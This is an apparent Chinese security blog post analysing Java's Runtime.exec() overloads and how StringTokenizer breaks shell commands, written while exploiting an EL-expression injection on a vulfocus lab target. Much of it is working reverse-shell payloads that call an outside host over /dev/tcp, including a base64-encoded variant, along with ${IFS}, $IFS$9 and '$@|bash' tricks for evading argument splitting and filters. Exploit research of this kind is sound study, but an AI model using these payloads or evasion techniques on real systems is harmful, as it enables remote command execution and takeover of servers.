续上篇
0x04 Runtime.exec() 理解
通过查阅资料和自己实践发现,exec方法总共六个重载方法
public Process exec(String command) throws IOException {
return exec(command, null, null);
}
public Process exec(String command, String[] envp) throws IOException {
return exec(command, envp, null);
}
public Process exec(String command, String[] envp, File dir)
throws IOException {
if (command.length() == 0)
throw new IllegalArgumentException("Empty command");
StringTokenizer st = new StringTokenizer(command);
String[] cmdarray = new String[st.countTokens()];
for (int i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
return exec(cmdarray, envp, dir);
}
public Process exec(String cmdarray[]) throws IOException {
return exec(cmdarray, null, null);
}
public Process exec(String[] cmdarray, String[] envp) throws IOException {
return exec(cmdarray, envp, null);
}
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}
但不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)
首先来看我调用的 exec(String command)
,它经过 exec(String command, String[] envp, File dir)
函数里 StringTokenizer
通过分割符进行分割。java 默认的分隔符是空格("")、制表符(\t)、换行符(\n)、回车符(\r)。最后存入字符串数组,再传入执行函数。
而它的底层也是调用的 ProcessBuilder
创建进程,而 array[0]
其实就是进程位置
在经过查阅资料,我发现直接传入字符串之所以不能 执行命令,主要有这几个原因。:
1、重定向和管道符的使用方式在正在启动的进程的中没有意义。这是什么意思呢?例如,ls > dir_listing
在shell中执行为将当前目录的列表输出到命名为 dir_listing
。但是在 exec()
函数的中,该命令为解释为获取 >
和 dir_listing
目录的列表。
换句话来讲,就是重定向和管道符,需要在我们诸如 bash
的环境下才有意义。所以我们需要将 /bin/bash
赋予给 array[0]
来调用 bash
进程。
2、参数无法界定范围。当在你直接传入 exec("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1'")
整个字符串后。会经过 StringTokenizer
进行分割,会变成
"bash" "-c" "'bash" "-i" ">&" "/dev/tcp/xx.xx.xx.xx/6543" "0>&1"
这会导致参数无法界定。比如我们此处解析的参数就是 -c 'bash
。
也就是说我们这里的参数 -c
的值,需要不让他做分割。
0x05 执行方法
1、传入数组执行
回过头来看我们 exec()
的重载方法,发现如果是传入数组的话 exec(cmdarray[])
,它并不会进行分割的,所以反弹shell是可以采用的
exec(new String[]{"bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1")
但是我在执行这句命令的时候,由于我复现的漏洞是根据一个EL表达式来执行的。我键入 {}
以后便不会执行命令,原因我猜测是因为以 }
结尾后,导致语句出错,便不执行。
而网上的另一种写法,我反正本地是一红到底
exec(["/bin/bash","-c","bash -i >& /dev/tcp/xx.xx.xx.xx/6543 0>&1"] as String[])
也就是我们这里暂时是没法传入数组的,需要只传入一个cmd参数 Runtime.getRuntime().exec(String cmd)
。
2、传入字符串执行
在上文探讨到,为了让他能正常执行,需要正确的界定 -c 参数,也就是说需要让我们最后需要执行的命令不进行分割。
base64
bash
是支持 base64
编码解码的,所以可以采用,来进行反弹。但是这里同上,存在 {}
,所以弃用这个方法
exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");
IFS
IFS The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ''.
在 bash
中 IFS
是内部域分隔符,其默认值为空白(包括:空格,tab, 和换行)
尝试构造payload:
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/ip/port${IFS}0>&1
但是这样会报不明确的重定向的错误,然后我尝试将所有重定向前后的 ${IFS}
去掉,利用 0>&1
等价于 0<&1
再来构造,就能成功反弹shell了
bash${IFS}-i>&/dev/tcp/ip/port<&1
这里的{}使用来做截断使用的,例如 cat$IFSt.txt
,$IFSt
被当作了变量名。
而再在 $IFS
后面加 $
也可以起到截断的作用,一般用 $9
,因为 $9
是当前系统shell进程的第九个参数的持有者,这里始终为空字符串。
我们这里 ${IFS}
和 $IFS$9
都是相同的作用,所以直接替换就行了。
bash$IFS$9-i>&/dev/tcp/ip/port<&1
这里便成功执行出来了。
*
$@ 代表传入参数的列表
,$* 以字符串方式显示所有传入的参数
例如
/bin/bash -c '$@|bash' 'xxx' 'echo' 'ls'
$@|bash
就相当于获取到的参数作为bash的输入
而这里的由于 $* $@
只会从脚本里读取参数,所以这里把 xxx 解释为脚本名
也就是说,这里的
'$@|bash' 'xxx' 'echo' 'ls'
执行的是:
echo 'ls'|bash
所以我们便能通过这个来构造我们的反弹shell了(这里的靶机是 vulfocus的试用地址
,各位不用担心漏IP了)
总结
总的来说,根据查阅资料和自己实践,收获了很多知识。
特别感谢 spoock 、K0rz3n 两位大佬的文章,看了大佬的分析后才学到了这么多东西,少走很多弯路。